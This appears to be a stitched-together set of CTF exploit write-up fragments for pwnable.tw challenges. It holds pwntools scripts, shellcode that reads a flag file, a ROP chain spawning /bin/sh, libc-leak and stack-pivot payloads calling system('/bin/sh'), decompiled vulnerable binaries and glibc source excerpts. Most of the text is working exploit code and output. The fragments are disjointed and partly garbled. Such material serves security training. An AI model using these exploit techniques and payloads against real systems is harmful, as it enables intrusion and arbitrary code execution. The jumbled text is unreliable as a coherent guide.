mov al,0x4; mov bl,1; mov dl,0x30; int 0x80; //write '''.format(hex(u32('ag'+chr(0)+chr(0))),hex(u32('w/fl')),hex(u32('e/or')),hex(u32('/hom')))
sh.sendline(asm(shellcode)) sh.interactive()
[+] Opening connection to chall.pwnable.tw on port 10001: Done [*] Switching to interactive mode Give my your shellcode:FLAG{sh3llc0ding_w1th_op3n_r34d_writ3} �u�\x0[*] Got EOF while reading in interactive $
# Padding goes here p = '' p+=p32(0x804967a) p += pack('<I', 0x080701aa) # pop edx ; ret p += pack('<I', 0x080ec060) # @ .data p += pack('<I', 0x0805c34b) # pop eax ; ret p += '/bin' p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080701aa) # pop edx ; ret p += pack('<I', 0x080ec064) # @ .data + 4 p += pack('<I', 0x0805c34b) # pop eax ; ret p += '//sh' p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080701aa) # pop edx ; ret p += pack('<I', 0x080ec068) # @ .data + 8 p += pack('<I', 0x080550d0) # xor eax, eax ; ret p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481d1) # pop ebx ; ret p += pack('<I', 0x080ec060) # @ .data p += pack('<I', 0x080701d1) # pop ecx ; pop ebx ; ret p += pack('<I', 0x080ec068) # @ .data + 8 p += pack('<I', 0x080ec060) # padding without overwrite ebx p += pack('<I', 0x080701aa) # pop edx ; ret p += pack('<I', 0x080ec068) # @ .data + 8 p += pack('<I', 0x080550d0) # xor eax, eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x08049a21) # int 0x80
for i in range(len(p)/4-1): sh.sendline('+'+str(369+i)+'-'+str(u32(p[i*4:i*4+4]))+'+'+str(u32(p[i*4+4:i*4+8])))
from pwn import * p=remote('chall.pwnable.tw',10100) #p=process("./calc") key=[0x0805c34b,11,0x080701d1,0,0,0x08049a21,0x6e69622f,0x0068732f] p.recv() p.sendline('+360') addr_bp=int(p.recv()) addr_re=((addr_bp+0x100000000)&0xFFFFFFF0)-16 addr_str=addr_re+20-0x100000000 addr=361 for i in range(5): p.sendline('+'+str(addr+i)) ans=int(p.recv()) if key[i]<ans: ans=ans-key[i] p.sendline('+'+str(addr+i)+'-'+str(ans)) else: ans=key[i]-ans p.sendline('+'+str(addr+i)+'+'+str(ans)) p.recv() p.sendline('+'+'365'+str(addr_str)) p.recv() for i in range(5,8): p.sendline('+'+str(addr+i)) ans=int(p.recv()) if key[i]<ans: ans=ans-key[i] p.sendline('+'+str(addr+i)+'-'+str(ans)) else: ans=key[i]-ans p.sendline('+'+str(addr+i)+'+'+str(ans)) p.recv() p.send('kirin'+'\n') p.interactive()
int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // eax int *v4; // edi unsigned int v5; // esi unsigned int v6; // esi int v7; // ST08_4 int result; // eax unsigned int num; // [esp+18h] [ebp-74h] int v10; // [esp+1Ch] [ebp-70h] char buf; // [esp+3Ch] [ebp-50h] unsigned int canary; // [esp+7Ch] [ebp-10h]
canary = __readgsdword(0x14u); sub_8B5(); __printf_chk(1, (int)"What your name :"); read(0, &buf, 0x40u); // 没有截断,泄露libc基地址 __printf_chk(1, (int)"Hello %s,How many numbers do you what to sort :"); __isoc99_scanf("%u", &num); //没有限制输入个数,之后能栈溢出 v3 = num; if ( num ) { v4 = &v10; v5 = 0; do { __printf_chk(1, (int)"Enter the %d number : "); fflush(stdout); __isoc99_scanf("%u", v4); ++v5; v3 = num; ++v4; } while ( num > v5 ); } // // // dubblesort((unsigned int *)&v10, v3); // 出人意料的没有漏洞。。。。 // puts("Result :"); // print if ( num ) { v6 = 0; do { v7 = *(&v10 + v6); __printf_chk(1, (int)"%u "); ++v6; } while ( num > v6 ); } // // // result = 0; if ( __readgsdword(0x14u) != canary ) process_end(); return result; }
v3 = 0; memset(&s, 0, 0x30u); if ( !*bullet_ptr ) return puts("You need create the bullet first !"); if ( *((_DWORD *)bullet_ptr + 12) > 0x2Fu ) return puts("You can't power up any more !"); printf("Give me your another description of bullet :"); read_input(&s, 48 - *((_DWORD *)bullet_ptr + 12));
int menu() { puts("=== Menu ==="); printf("%d: Apple Store\n", 1); printf("%d: Add into your shopping cart\n", 2); printf("%d: Remove from your shopping cart\n", 3); printf("%d: List your shopping cart\n", 4); printf("%d: Checkout\n", 5); return printf("%d: Exit\n", 6); }
unsigned int handler() { char nptr; // [esp+16h] [ebp-22h] unsigned int v2; // [esp+2Ch] [ebp-Ch]
v2 = __readgsdword(0x14u); while ( 1 ) { printf("> "); fflush(stdout); my_read(&nptr, 0x15u); switch ( atoi(&nptr) ) { case 1: list(); break; case 2: add(); break; case 3: delete(); break; case 4: cart(); break; case 5: checkout(); break; case 6: puts("Thank You for Your Purchase!"); return __readgsdword(0x14u) ^ v2; default: puts("It's not a choice! Idiot."); break; } } }
v3 = __readgsdword(0x14u); printf("Device Number> "); fflush(stdout); my_read(&nptr, 0x15u); switch ( atoi(&nptr) ) { case 1: v1 = create((int)"iPhone 6", (char *)199); insert((int)v1); goto LABEL_8; case 2: v1 = create((int)"iPhone 6 Plus", (char *)299); insert((int)v1); goto LABEL_8; case 3: v1 = create((int)"iPad Air 2", (char *)499); insert((int)v1); goto LABEL_8; case 4: v1 = create((int)"iPad Mini 3", (char *)399); insert((int)v1); goto LABEL_8; case 5: v1 = create((int)"iPod Touch", (char *)199); insert((int)v1); LABEL_8: printf("You've put *%s* in your shopping cart.\n", *v1); puts("Brilliant! That's an amazing idea."); break; default: puts("Stop doing that. Idiot!"); break; } return __readgsdword(0x14u) ^ v3; }
int cart() { signed int v0; // eax signed int v2; // [esp+18h] [ebp-30h] int cost; // [esp+1Ch] [ebp-2Ch] _DWORD *i; // [esp+20h] [ebp-28h] char buf; // [esp+26h] [ebp-22h] unsigned int v6; // [esp+3Ch] [ebp-Ch]
/* Return the `struct tm' representation of *T in local time. */ struct tm * localtime (const time_t *t) { return __tz_convert (t, 1, &_tmbuf); } libc_hidden_def (localtime)
/* Return the `struct tm' representation of *TIMER in the local timezone. Use local time if USE_LOCALTIME is nonzero, UTC otherwise. */ struct tm * __tz_convert (const time_t *timer, int use_localtime, struct tm *tp) { long int leap_correction; int leap_extra_secs;
if (timer == NULL) { __set_errno (EINVAL); return NULL; }
__libc_lock_lock (tzset_lock);
/* Update internal database according to current TZ setting. POSIX.1 8.3.7.2 says that localtime_r is not required to set tzname. This is a good idea since this allows at least a bit more parallelism. */ tzset_internal (tp == &_tmbuf && use_localtime, 1);
/* Interpret the TZ envariable. */ static void internal_function tzset_internal (int always, int explicit) { static int is_initialized; const char *tz;
if (is_initialized && !always) return; is_initialized = 1;
/* Examine the TZ environment variable. */ tz = getenv ("TZ");//★注意此处,从env中读取TZ的值 if (tz == NULL && !explicit) /* Use the site-wide default. This is a file name which means we would not see changes to the file if we compare only the file name for change. We want to notice file changes if tzset() has been called explicitly. Leave TZ as NULL in this case. */ tz = TZDEFAULT; if (tz && *tz == '\0') /* User specified the empty string; use UTC explicitly. */ tz = "Universal";
/* A leading colon means "implementation defined syntax". We ignore the colon and always use the same algorithm: try a data file, and if none exists parse the 1003.1 syntax. */ if (tz && *tz == ':') ++tz;
/* Check whether the value changed since the last run. */ if (old_tz != NULL && tz != NULL && strcmp (tz, old_tz) == 0) /* No change, simply return. */ return;
if (tz == NULL) /* No user specification; use the site-wide default. */ tz = TZDEFAULT;
tz_rules[0].name = NULL; tz_rules[1].name = NULL;
/* Save the value of `tz'. */ free (old_tz); old_tz = tz ? __strdup (tz) : NULL;
/* Try to read a data file. */ __tzfile_read (tz, 0, NULL);//★带着TZ进入__tzfile_read函数 if (__use_tzfile) return;
if (file == NULL) /* No user specification; use the site-wide default. */ file = TZDEFAULT; else if (*file == '\0') /* User specified the empty string; use UTC with no leap seconds. */ goto ret_free_transitions; else { /* We must not allow to read an arbitrary file in a setuid program. So we fail for any file which is not in the directory hierachy starting at TZDIR and which is not the system wide default TZDEFAULT. */ if (__libc_enable_secure && ((*file == '/' && memcmp (file, TZDEFAULT, sizeof TZDEFAULT) && memcmp (file, default_tzdir, sizeof (default_tzdir) - 1)) || strstr (file, "../") != NULL)) /* This test is certainly a bit too restrictive but it should catch all critical cases. */ goto ret_free_transitions; }
int menu() { puts("-----------------------------------"); puts(" DeathNote "); puts("-----------------------------------"); puts(" 1. Add a name "); puts(" 2. show a name on the note "); puts(" 3. delete a name int the note "); puts(" 4. Exit "); puts("-----------------------------------"); return printf("Your choice :"); }
# checksec death_note [*] '/root/pwnable/death_note1/death_note' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
def guess(length,secret=''): for i in range(length): for q in range(1,256): if 'Success' in login(secret+chr(q)+'\n',False): secret+=chr(q) sh.sendline('1') sh.recvuntil('>> ') break return secret
nbytes = 0x3C; v3 = 0x50; LABEL_2: memset(&s, 0, 0x50u); name = malloc(0x3Cu); printf("\nPlease enter your name: "); fflush(stdout); read(0, name, nbytes); printf("Please enter your age: "); fflush(stdout); __isoc99_scanf("%d", &age); printf("Why did you came to see this movie? "); fflush(stdout); read(0, &reason, v3); fflush(stdout); printf("Please enter your comment: "); fflush(stdout); read(0, &s, nbytes); ++cnt;
comment('sir',19,'a'*16,'b'*2) sh.recvuntil('a'*16) io_file_sync9 = sh.recv(4) #gdb.attach(sh) libc.address = u32(io_file_sync9) - libc.sym['_IO_file_sync']-9 success("libc_addr = " + hex(libc.address)) sh.recvuntil('Would you like to leave another comment? <y/n>: ') sh.send('y')
comment('sir',19,'a'*0x50,'b'*2) sh.recvuntil('a'*0x50) stack_addr = u32(sh.recv(4))- 0x28 success("stack_addr = " + hex(stack_addr)) #gdb.attach(sh) sh.recvuntil('Would you like to leave another comment? <y/n>: ') sh.send('y')
for i in range(100): comment("sir",19,'a'*0x48,'b'*59) sh.recvuntil("Would you like to leave another comment? <y/n>: ") sh.send('y') print hex(stack_addr) #gdb.attach(sh)
rea = p32(0)+p32(0x41)+'A'*56+p32(0)+p32(0x41) pay = 'c'*80 + 'bbbb' + p32(stack_addr)+p32(0)+p32(0x41) comment('sir',19,rea, pay) gdb.attach(sh) sh.recvuntil("Would you like to leave another comment? <y/n>: ") sh.send('y') pay = 'bbbb' +p32(libc.sym['system']) + 'bbbb'+p32(libc.search('/bin/sh\x00').next()) comment(pay, 19, 'a'*0x20, 'b'*2) gdb.attach(sh) sh.recvuntil("Would you like to leave another comment? <y/n>: ") sh.send('n') #gdb.attach(sh)